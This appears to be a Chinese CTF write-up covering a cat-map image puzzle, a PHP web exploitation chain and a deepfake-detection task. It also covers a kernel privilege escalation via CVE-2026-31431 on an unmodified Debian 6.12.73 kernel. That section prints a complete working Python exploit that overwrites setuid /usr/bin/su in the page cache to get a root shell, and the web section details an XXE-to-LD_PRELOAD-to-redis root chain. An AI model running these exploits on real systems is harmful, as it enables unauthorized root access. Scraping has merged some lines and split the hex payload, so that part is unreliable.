2026-10-24 11:13:09 网络安全文章来源：ZONE.CI 全球网 0 阅读模式

2026数信杯个人区域赛wp（上）：签到 / Web / AI安全 / 数据安全

原创

ljnljn
ljnljn

ljnljn学习之路

2026年10月17日 07:42
河北

去阅读

title: 2026数信杯个人区域赛wp author:

签到

minesweeper

flag.png 是一张被\\猫脸变换（Arnold cat map）\\逐步打乱的图，服务端 /progress 接口负责推进变换轮数并重绘图片。客户端那套 5200 轮 SHA-256/S-box 解密是障眼法（解出来是 FLAG{f4k3_fl4g_d3c0y_2026} 诱饵）。直接调接口把进度推到 5200， flag.png 就还原成明文 flag。

1. 静态分析：客户端解密是诱饵

crypto.js 里密钥、S-box、PRNG 全是硬编码的确定性算法，密文 _fct 也是写死的 26 字节。

从 _kA / _kB 还原密钥（两段 XOR + 反转）：

_kA = [0xFE,0xC2,0x99,0xF5,0xFE,0x9E,0xC8,0xC6,0x99]

// XOR 0xAA_kB = [0x27,0x66,0x25,0x66,0x66,0x1E]
// XOR 0x55, 反转key = \"Th3_T4bl3_K33p3r_2026\"

在 Node 里完整复现 decRound（S-box 逆置换 + XOR + 逆排列），跑满 5200 轮：

PLAINTEXT = \"FLAG{f4k3_fl4g_d3c0y_2026}\"

注意变量名 getFakeCT()（fake ciphertext）和结果里的 f4k3 / d3c0y——这整条路径是刻意设计的死路。 5200 轮只是让玩家以为要真扫雷，实际上扫不扫、扫多少，解密结果都一样。

代码注释也直接点破了真实目标：

/* * 每扫开一格，猫脸变换就逆推一轮。 * 5200 轮之后，真相自现。 * * 去看看 flag.png。你每点一次，它就清晰一分。 */

2. 真实机制：服务端 /progress 推进猫脸变换

服务器是 Python SimpleHTTP（静态文件服务），但额外挂了 /progress 和 /reset 两个 JSON 接口。

flag.png 初始是被猫脸变换打乱的噪点图，右下角标注 Step 31/5200。每次 POST 推进步数后，图片会被重绘成对应轮次的中间状态（哈希每次都变）。

接口行为探测：

请求	响应	说明
`POST /progress {\"step\":10000}`	`{\"ok\":true,\"step\":200}`	每次请求最多推进 100
`POST /progress {\"step\":1}`	`{\"ok\":true,\"step\":200}`	step 单调递增，不能回退
`POST /reset`	`{\"ok\":true,\"step\":0}`	进度归零
`POST /progress` （空 body）	`{\"error\":\"Expecting value...\"}`	需要合法 JSON

所以 5200 步要发 52 次请求，每次推进 100。

3. 利用脚本

# 重置curl -s -X POST http://94b8a31b.shuxinbei6.clsadp.com/reset
# 每次推进 100，直到 5200（循环 52 次）for i in $(seq 1 60);
do  r=$(curl -s -X POST -H 'Content-Type: application/json' \\        -d '{\"step\":10000}' \\        http://94b8a31b.shuxinbei6.clsadp.com/progress)
echo \"$r\"  echo \"$r\" | grep -q '\"done\": true' && breakdone
# 下载还原后的图curl -s -o flag_final.png http://94b8a31b.shuxinbei6.clsadp.com/flag.png

推到 5200 时服务器返回完成标志和提示语：

{\"ok\": true, \"step\": 5200, \"done\": true, \"secret\": \"猫脸变换已全部解开。\
真相不在代码里，在一张图中——\
你每扫开一格，它就清晰一分。\
现在去看看吧。\"}

最终 flag_final.png 是白底黑字的明文 flag（Step 5200 / 5200, 100.0%）：

flag{85e3ea9dca769edadfa2d22af9a46634}

Web

某企业AI Meeting Minutes门户网站

/index.php 把自己的 PHP 源码原样输出（file_get_contents(__FILE__) 藏在隐藏的 <pre data-source-pre> 里）。源码给出两条路：so+key 设置 LD_PRELOAD， cloversec+ctf 通过 ReflectionClass::newInstanceArgs 实例化任意类。

利用链（用户提供的 exp.py，本机验证通过）：

泄露 $secret：SimpleXMLElement + data:// 外部 DTD 的 error-based XXE 读 /var/www/html/config.php → $secret = \"Pwn01AcIcml1x001\" （也可直接用 SimpleXMLElement 解析错误回显拿到，见 leak_config.html）。
落 .so：Imagick('vid:msl:/tmp/php*') —— 上传的临时文件被当作 MSL 脚本， <read filename=\"inline:data:...\"> + <write filename=\"/tmp/123.so\"> 写出最小 ELF64 共享对象（DT\_INIT = fork + execve /bin/sh -c <loader>），同时写一份 /tmp/123.wmv 用于触发 delegate。
触发加载：?so=123&key=Pwn01AcIcml1x001&cloversec=Imagick&ctf[]=/tmp/123.wmv → putenv(LD_PRELOAD=/tmp/123.so)，Imagick 处理 .wmv 走 ffmpeg delegate，子进程继承 LD\_PRELOAD 并加载 .so → DT\_INIT 执行上传的 sh 脚本。
提权读 flag：www-data 分支 chmod 755 /tmp/123.so 后 redis-cli module load /tmp/123.so —— redis 以 root 运行，再次加载同一 .so， DT\_INIT 以 root 重跑脚本 → cat /root/flag 写入 webroot 取回。

关键点

is_numeric($_GET['so']) 限制 .so 文件名必须是数字，所以用 /tmp/123.so。
上传的 shell 脚本落在 /tmp/phpXXXXXX，loader 用 grep -l '#!' /tmp/php* 找到它。
.so 必须有执行位，否则 redis 的 dlopen 失败、DT\_INIT 不跑。
flag 文件 /root/flag 权限 600 root，www-data 读不到，必须走 redis/root 路径。

AI安全

审片室里的第二张脸

给 14 段匿名爆料视频判定 real / fake，fake 还要提交关键伪造帧。附件里的 baseline 检测器在已标注样本上准确率只有 0.517（AUC 0.571），是条死路。真正的突破口是数据集结构：它按 FaceForensics++ 的方式构建，同一段源素材同时存在一版 real 和一版换脸 fake，两版背景逐像素一致。用背景环带指纹做最近邻配对，就能把已标注配对上学到的「配对必为一真一假」外推到正式样本，剩下的用脸部细节量二分补齐。

Step 1：先证伪 baseline，再找数据集的隐藏结构

baseline_weights.json 的 5 维特征在 60 段已标注样本上的表现：

指标	数值
accuracy @ 0.5	0.517
AUC	0.571
real 分数均值	0.491
fake 分数均值	0.511

两类分布几乎完全重叠（real 0.285–0.596，fake 0.376–0.604），说明它不是一个「调调阈值就能用」的模型，而是刻意做成接近随机。

同时可以验证：附件里的 tools/frame_review.py 能逐位复现 CSV 中公布的 baseline_score（60 段全部 diff ≤ 5e-5），说明这条链路是公开且完整的 —— 也说明它没用。

真正的结构藏在背景里。把每段视频缩到 64×64 灰度、取「切比雪夫距离 > 0.41·K」的背景环带、对 32 帧取中位数得到背景指纹，再做全库两两距离，会出现一个非常干净的分裂。判据用「最近邻距离 / 次近邻距离」（nn1/nn2）：同一 source 的 real/fake 背景逐像素一致，比值必然远小于 1；孤立样本的最近邻与次近邻差不多远，比值接近 1。

比值排序：14 个样本（7 对）ratio ≤ 0.385  |  间隙 0.276  |  其余样本 ratio ≥ 0.661

7 对配对及其背景 MAE：

配对	背景 MAE	已知标签
train\_020(real) ↔ train\_060(fake)	10.77	双方都有
train\_012(real) ↔ train\_049(fake)	9.40	双方都有
train\_018(real) ↔ train\_034(fake)	11.21	双方都有
case\_011 ↔ train\_024	4.85	train\_024 = real
case\_010 ↔ probe\_007	5.69	probe\_007 = fake
case\_001 ↔ train\_056	8.70	train\_056 = fake
case\_013 ↔ train\_002	9.55	train\_002 = real

用逐帧对齐的背景相关做交叉验证，这 7 对在 0.9917–0.9969，下一名骤降到 0.8924（间隙 0.0993），说明它们确实是同源素材：

0.9969  case_013 <-> train_002
0.9920  train_018 <-> train_0340.9966  train_020 <-> train_060
0.9917  case_001  <-> train_0560.9961  train_012 <-> train_049
------ 间隙 0.0993 ------0.9934  case_011 <-> train_024
0.8924  train_001 <-> train_0540.9924  case_010 <-> probe_007
0.8866  case_009  <-> train_001

也就是说：每对共享源素材，一版是原片（real），一版是换脸（fake）。这正是 FaceForensics++ 的组织方式，也解释了为什么背景能对齐到 0.99 而人脸区域完全不同 —— 换脸只替换脸部，背景逐像素保留。

Step 2：把配对规则外推，剩下的用脸部细节量补齐

先统计已标注配对里的标签模式：(real, fake) 出现 3 次，其它模式 0 次 → 规则「配对必为一真一假」成立，可以外推。正式样本里有 4 段能接上配对：

配对	已知一侧	推出
case\_001 ↔ train\_056	train\_056 = fake	case\_001 = real
case\_010 ↔ probe\_007	probe\_007 = fake	case\_010 = real
case\_011 ↔ train\_024	train\_024 = real	case\_011 = fake
case\_013 ↔ train\_002	train\_002 = real	case\_013 = fake

probe_007 的真值来自服务端 /inspect 的 truth_label 字段（8 段 probe 全部公开真值，是官方给的校准集）。

剩下 10 段无配对，用脸部拉普拉斯能量（中心 0.72 边长裁脸 → 160×160 灰度 → 拉普拉斯绝对值均值，取 32 帧中位数）做簇内最大间隙二分，方向由上面 4 个已定锚点校准：分割点 4.827，高分组 6 段判 real。合成视频经过换脸后脸部纹理被平滑，细节量系统性偏低 —— 这正好和 real 分到高分组一致。

Step 3：证据帧要用完整公式，别信 /inspect

服务端 /inspect 会返回 3 个 evidence_frames，但它走的是退化变体：只保留 residual 项（mean|gray - blur(gray)|）。附件 frame_review.py 里的完整公式是三项加权：

score = 0.55 * residual + 0.35 * laplacian + 0.10 * temporal

把 22 段样本（14 正式 + 8 probe）的 /inspect 返回值与两种公式逐一比对，重合帧数：

对比对象	3 帧重合数	完全一致的样本数
`/inspect` vs residual-only	41 / 66	5 / 22
`/inspect` vs 完整公式	9 / 66	0 / 22

方向非常明确：/inspect 给的是 residual-only 那一支。两者选出的帧经常不同（例如 case\_011：/inspect 给 [6,13,14]，完整公式给 [16,29,30]）。实测提交时，完整公式的帧被服务端接受，所以判分口径是完整公式。

还有一个坑：模糊和拉普拉斯必须按 PIL + 手写 float64 卷积实现（复刻 cv2.GaussianBlur(5x5, sigma=0) 的 sigma 与 reflect-101 边界）。换成 cv2.GaussianBlur / cv2.Laplacian 会在分数接近的样本上挑出不同帧 —— 例如 case\_007 会从 [6,22,29] 变成 [21,22,29]，直接导致判分失败。

数据安全

Linux Kernel Cow

靶机是一台只给普通用户 ctf/123456 的 Debian 13 主机,内核 6.12.73+deb13-amd64。漏洞是 CVE-2026-31431:algif_aead 手工模拟\"原地(in-place)AEAD\"时,把 TX SGL 里的 tag 页 sg_chain() 接到 RX SGL 末尾,再以这条加长链作 dst 跑解密。当 TX 数据是用 splice() 从只读打开的文件灌进 socket 时,被接上去的 tag 页就是文件系统的 page cache 页; 而 authencesn 恰好会在 dst[assoclen + cryptlen] 处回写 4 字节 hiseq——于是内核的 \"原地写\"直接落在 page cache 上,绕过写权限检查、不触发 COW。

利用方式:把 setuid 的 /usr/bin/su 开头 160 字节在 page cache 里改成一个 setuid(0); execve(\"/bin/sh\") 的小 ELF,再执行 su 即得 root。

flag{0c7e45473e839be9adfc638569c1b085}

1. 信息收集:确认是内核题,而不是配置题

先排除常规提权路径:

$ iduid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
# 无附加组$ sudo -n -lbash: sudo: command not found
# 没有 sudo$ find / -perm -4000 -type f 2>/dev/null
/usr
/bin/chfn  /usr
/bin/chsh  /usr
/bin/gpasswd  /usr
/bin/mount
/usr
/bin/newgrp /usr
/bin/passwd /usr
/bin/su /usr
/bin/umount
/usr
/lib/openssh/ssh-keysign
# 全是标准 SUID,无自定义

没有 sudo、没有异常 SUID、没有可写服务配置。真正的线索在内核启动参数里:

$ cat /proc/cmdlineroot=/dev/vda rw console=ttyS0 net.ifnames=0 biosdevname=0 panic=1 init=/sbin/copyfail-init

init=/sbin/copyfail-init —— 一个自定义 init。读它:

$ cat /sbin/copyfail-init#!/bin/sh...
modprobe algif_aead 2>/dev/null || true
modprobe authencesn 2>/dev/null || true
modprobe authenc 2>/dev/null || true
modprobe cbc 2>/dev/null || true
modprobe hmac 2>/dev/null || true
modprobe sha256_generic 2>/dev/null || true...
echo \"Copy Fail lab ready. SSH user: ctf / 123456\"

这就是入口。 algif_aead + authencesn + authenc + cbc + hmac 这套组合是 AF\_ALG 内核提权的经典 spray 套件,而 lab 名字 \"Copy Fail\" 直接点题:漏洞与拷贝有关。

顺带确认内核是原版,不是出题人 patch 出来的:把靶机 /boot/vmlinuz 与官方 deb 里的对比:

$ sha256sum /boot/vmlinuz-6.12.73+deb13-amd64e3b18c3f1700aee0b59e82c82fafbc6f
63a138dd319103821899a0dc37c4db9e
$ dpkg-deb --fsys-tarfile linux-image-6.12.73+deb13-amd64_6.12.73-1_amd64.deb \\
  | tar -xO ./boot/vmlinuz-6.12.73+deb13-amd64 | sha256sume3b18c3f1700aee0b59e82c82fafbc6f
63a138dd319103821899a0dc37c4db9e
# 完全一致

所以这是 Debian 6.12.73 里真实存在的上游漏洞。

2. 定位漏洞:CVE-2026-31431

内核是原版,就去查 Debian 的安全更新。6.12.73-1 之后的第一批修复里有这么一组提交:

crypto: scatterwalk - Backport memcpy_sglist()
crypto: algif_aead - use memcpy_sglist() instead of null skcipher
crypto: algif_aead - Revert to operating out-of-place   (CVE-2026-31431)
crypto: algif_aead - snapshot IV for async AEAD requests
crypto: authenc - use memcpy_sglist() instead of null skcipher
crypto: authencesn - Do not place hiseq at end of dst for out-of-place decryption
crypto: authencesn - Fix src offset when decrypting in-place

关键词 \"Revert to operating out-of-place\" —— 修复方式是把 AEAD 改回\"异地(out-of-place)\"运算, 反过来说 6.12.73 的 algif_aead 是在原地运算的,这就是漏洞本身。对照修复版源码,_aead_recvmsg() 里那一整段用 null skcipher 手工搬运 SGL 的代码被删掉, 换成 memcpy_sglist() + 直接以 areq->tsgl 为 src:

-
 err = crypto_aead_copy_sgl(null_tfm, tsgl_src,-       areq->first_rsgl.sgl.sgt.sgl, processed);+
 memcpy_sglist(rsgl_src, tsgl_src, ctx->aead_assoclen);...
- aead_request_set_crypt(&areq->cra_u.aead_req, rsgl_src,-          areq->first_rsgl.sgl.sgt.sgl, used, ctx->iv);
+ aead_request_set_crypt(&areq->cra_u.aead_req, tsgl_src,+          areq->first_rsgl.sgl.sgt.sgl, used, iv);

漏洞版解密分支的注释自己把结构画了出来:

  /*
  * Decryption operation - To achieve an in-place cipher
  * operation, the following  SGL structure is used:
  *   * TX SGL: AAD || CT || Tag
  *     |    |  ^
  *     | copy |  | Create SGL link.
  *     v    v  |
  * RX SGL: AAD || CT ----+
  */

err = crypto_aead_copy_sgl(null_tfm, tsgl_src,        areq->first_rsgl.sgl.sgt.sgl, outlen);  ...
 /* chain the areq TX SGL holding the tag with RX SGL */

if (usedpages) {
 struct af_alg_sgl *sgl_prev = &areq->last_rsgl->sgl;
 struct scatterlist *sg = sgl_prev->sgt.sgl;
   sg_unmark_end(sg + sgl_prev->sgt.nents - 1);   sg_chain(sg, sgl_prev->sgt.nents + 1, areq->tsgl);  } else   rsgl_src = areq->tsgl; }

写入落点是怎么算出来的

TX SGL 的来源是 af_alg_sendmsg():普通 sendmsg 的数据会被 alloc_page() 拷进内核页, 但走 splice() 时命中 MSG_SPLICE_PAGES 分支,用 extract_iter_to_sg() + get_page() 直接把源文件的 page cache 页挂进 TX SGL。这就是\"文件页进入内核 SGL\"的第一步。

设单次写入的目标偏移为 t,则:

量	值	说明
`ctx->aead_assoclen`	8	来自 `ALG_SET_AEAD_ASSOCLEN`
`authsize`	4	来自 `ALG_SET_AEAD_AUTHSIZE`
TX 总量	`8 + (t+4)`	8 字节 `sendmsg` 数据 + `t+4` 字节 splice
`outlen`	`t+8`	解密:`used - authsize`
`req->cryptlen`	`t+4`	`used - assoclen`
hiseq 写入偏移	`t+8`	`assoclen + (cryptlen - authsize)`

而 RX SGL 链的长度正好是 outlen(t+8) 字节用户缓冲区接上 4 字节 tag 页, 所以 dst[t+8] 就是那 4 字节文件页的起点——写入精确落在 splice 进来的文件上, 对应文件偏移 t(tag 是 splice 区间 [0, t+4) 的最后 4 字节)。

写入的内容来自 authencesn 的 hiseq 回写:

 scatterwalk_map_and_copy(tmp, dst, 0, 8, 0);      /* tmp = dst[0..8) */

scatterwalk_map_and_copy(tmp, dst, 4, 4, 1);      /* 写回 dst[4]   */

scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1);  /* ★ 写 4 字节到文件页 */

dst[0..8) 是 TX 开头 8 字节的副本,也就是攻击者 sendmsg 的 b\"A\"*4 + chunk, 所以 tmp+1 正是那 4 字节攻击者可控内容——这就是\"写什么\"的来源。

两个副产品细节:

写入发生在 crypto_ahash_digest() 校验 tag 之前,所以即使解密最终认证失败, 写入也已经生效(exploit 里 recv 抛异常是正常的,被 try/except 吞掉)。
authencesn 还要求 assoclen >= 8,这解释了 exploit 中 ALG_SET_AEAD_ASSOCLEN=8 和 b\"A\"*4 前缀的必要性。

3. 利用:覆写 setuid 程序的 page cache

选 /usr/bin/su(SUID root)。替换前 160 字节的静态 ELF,入口在文件偏移 0x78, 反汇编只有 14 条指令:

31 c0                   xor    eax, eax
31 ff                   xor    edi, edi
b0 69                   mov    al, 0x69        ; __NR_setuid = 105
0f 05                   syscall  ; setuid(0)
48 8d 3d 0f 00 00 00    lea    rdi, [rip+0xf]  ; \"/bin/sh\" (0x87+0xf = 0x96)
31 f6                   xor    esi, esi
6a 3b                   push   0x3b
58                      pop    rax             ; __NR_execve = 59
99                      cdq                     ; rdx = NULL (envp)
0f 05                   syscall  ; execve(\"/bin/sh\", NULL, NULL)
31 ff                   xor    edi, edi
6a 3c                   push   0x3c58                      pop    rax             ; __NR_exit = 60
0f 05                   syscall  ; exit(0) —— execve 失败时的兜底

完整 exploit(逐 4 字节写入,共 40 轮):

#!/usr/bin/env python3\"\"\"CVE-2026-31431 - Kernel Cow / copyfail, Debian 6.12.73\"\"\"import os, socket, sys, zlib
AF_ALG, SOL_ALG = 38, 279ALG_SET_KEY, ALG_SET_IV, ALG_SET_OP = 1, 2, 3ALG_SET_AEAD_ASSOCLEN, ALG_SET_AEAD_AUTHSIZE = 4, 5ALG_OP_DECRYPT = 0
TARGET = sys.argv[1] if len(sys.argv) > 1 else \"/usr/bin/su\"KEY = bytes.fromhex(\"0800010000000010\" + \"0\" * 64)
# 160-byte static ELF: setuid(0); execve(\"/bin/sh\", NULL, NULL)PAYLOAD = zlib.decompress(bytes.fromhex(    \"78daab77f57163626464800126063b0610af82c1
01cc7760c0040e0c160c301d209a154d\"
    \"16999e07e5c1680601086578c0f0ff864c7e568f
5e5b7e10f75b9675c44c7e56c3ff5936\"
    \"11fc
acfa499979fac5190c0c0c0032c310d3\"))
def corrupt(fd, offset, four_bytes):    \"\"\"把 fd 的 page cache 在 offset 处改成 four_bytes(恰好 4 字节)。\"\"\"    sock = socket.socket(AF_ALG, socket.SOCK_SEQPACKET, 0)
sock.bind((\"aead\", \"authencesn(hmac(sha256),cbc(aes))\"))
sock.setsockopt(SOL_ALG, ALG_SET_KEY, KEY)
sock.setsockopt(SOL_ALG, ALG_SET_AEAD_AUTHSIZE, None, 4)
# 内核取的是 optlen=4    op, _ = sock.accept()
    zero = b\"\\x00\"    splice_len = offset + 4
    op.sendmsg(        [b\"A\" * 4 + four_bytes],
# dst[0..8): tmp[0]=填充, tmp[1]=待写内容        [            (SOL_ALG, ALG_SET_OP, zero * 4),
# ALG_OP_DECRYPT            (SOL_ALG, ALG_SET_IV, b\"\\x10\" + zero * 19),
# ivlen=16 + 16 字节 IV            (SOL_ALG, ALG_SET_AEAD_ASSOCLEN, b\"\\x08\" + zero * 3),
# assoclen = 8        ],        0x8000,
# MSG_MORE:数据分两次送    )    r, w = os.pipe()    os.splice(fd, w, splice_len, offset_src=0)
# 文件页 -> TX SGL(不改变文件偏移)    os.splice(r, op.fileno(), splice_len)
try:        op.recv(8 + offset)
# 触发原地 AEAD 运算    except OSError:        pass
# 认证必然失败,但写入已经发生
fd = os.open(TARGET, os.O_RDONLY)
# 只读打开即可for off in range(0, len(PAYLOAD), 4):    corrupt(fd, off, PAYLOAD[off:off + 4])os.close(fd)os.system(\"echo 'id;
cat /root/flag' | \" + TARGET)

实测结果

$ md5sum /usr/bin/su715c675151a1b11447b64f8cd9d9c267  /usr/bin/su
# 攻击前$ python3 cf.py << 'EOC'id
echo \"FLAG:\"cat /root/flag
EOC
0(root) gid=1000(ctf) groups=1000(ctf)FLAG:flag{0c7e45473e839be9adfc638569c1b085}$ md5sum /usr
/bin/sub91dae41867a2b9f79704cea10ced89d  /usr
/bin/su
# 已被 page cache 覆写

uid=0(root) 而 gid 仍是 1000:payload 只调用了 setuid(0),没有调 setgid(0), 所以组 ID 保持原样——并非\"拿到了 root 的完整凭据\",而是 SUID 程序执行时 euid 已经是 0,setuid(0) 顺势把 ruid/euid/suid 全部落实为 0。